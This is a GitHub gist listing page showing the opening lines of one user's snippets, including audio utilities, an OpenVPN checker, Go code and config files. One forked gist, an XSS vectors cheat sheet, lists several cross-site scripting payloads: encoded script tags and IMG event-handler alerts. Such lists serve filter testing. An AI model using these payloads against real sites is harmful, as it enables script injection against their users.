Skip to content

Instantly share code, notes, and snippets.

View vol
#!/bin/env python3
import os
import time
import subprocess
import argparse
# Maps a string contained in name, description, or product_name to our custom name
custom_names = {
"Plantronics_Blackwire_5220": "PLT 5220",
View check_openvpn.py
#!/usr/bin/env python
#
# Check if an OpenVPN server runs on a given UDP or TCP port.
#
import os
import sys
import time
import hmac
import hashlib
View cyclesink.py
#!/bin/env python
#
# cyclesink sets all audio sources (sink inputs) to the same next
# sink in PulseAudio. PulseAudio sets newly created sink inputs to
# use the sink that was last assigned to, so all sources should always
# be using the same output unless the configuration is changed elsewhere.
import os
def get_sinks():
View dgraph.go
package dgraph
import (
"errors"
"fmt"
"reflect"
"strings"
"sync/atomic"
"github.com/mitchellh/reflectwalk"
@freb
freb / nest.go
Created Apr 19, 2019 — forked from markbeee/nest.go
GoogleNestGo
View nest.go
package main
import (
"bytes"
"encoding/json"
"errors"
"fmt"
flags "github.com/jessevdk/go-flags"
"io"
"io/ioutil"
View gnorm.gotmpl
{{- /* map from db type to non-null protobuf go type */ -}}
{{- $pbTypes := makeMap "bigint" "int64" "boolean" "bool" "character varying" "string" "character" "string" "date" "*timestamp.Timestamp" "integer" "int64" "smallint" "int32" "text" "string" "timestamp with time zone" "timestamp.Timestamp" "timestamptz" "*timestamp.Timestamp" "tsvector" "string" "varchar" "string" "uuid" "string" "bytea" "[]byte" "jsonb" "string" "action_type" "ActionType" "project_type" "ProjectType" "stage_type" "StageType" "tag_type" "TagType" "user_assoc_type" "UserAssocType" -}}
{{- /* map from db type to null protobuf go type */}}
{{- $pbNullTypes := makeMap "bigint" "*wrappers.Int64Value" "boolean" "*wrappers.BoolValue" "character varying" "*wrappers.StringValue" "date" "*timestamp.Timestamp" "integer" "*wrappers.Int64Value" "jsonb" "*wrappers.StringValue" "text" "*wrappers.StringValue" "timestamp with time zone" " *timestamp.Timestamp" "timestamptz" "*timestamp.Timestamp" "uuid" "*wrappers.StringValue"}}
View conf.nmap
#
# use none for unchanged color
# match groups appear to match in reverse order
#
# https://github.com/pengwynn/grc/blob/master/grcat
#
# ip address
regexp=\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}
colours=bold yellow
======
View addrefs.go
package main
import (
"fmt"
"log"
"os"
"regexp"
"strings"
"baliance.com/gooxml"
@freb
freb / xss_vectors.txt
Created Sep 12, 2018 — forked from kurobeats/xss_vectors.txt
XSS Vectors Cheat Sheet
View xss_vectors.txt
%253Cscript%253Ealert('XSS')%253C%252Fscript%253E
<IMG SRC=x onload="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onafterprint="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onbeforeprint="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onbeforeunload="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onerror="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onhashchange="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onload="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onmessage="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x ononline="alert(String.fromCharCode(88,83,83))">
View keybase.md

Keybase proof

I hereby claim:

  • I am freb on github.
  • I am freb (https://keybase.io/freb) on keybase.
  • I have a public key ASB8W_PVhlwoeQ1c6E0tYDmUZeIEUlc8YcGoPgZ_9OegCQo

To claim this, I am signing this object: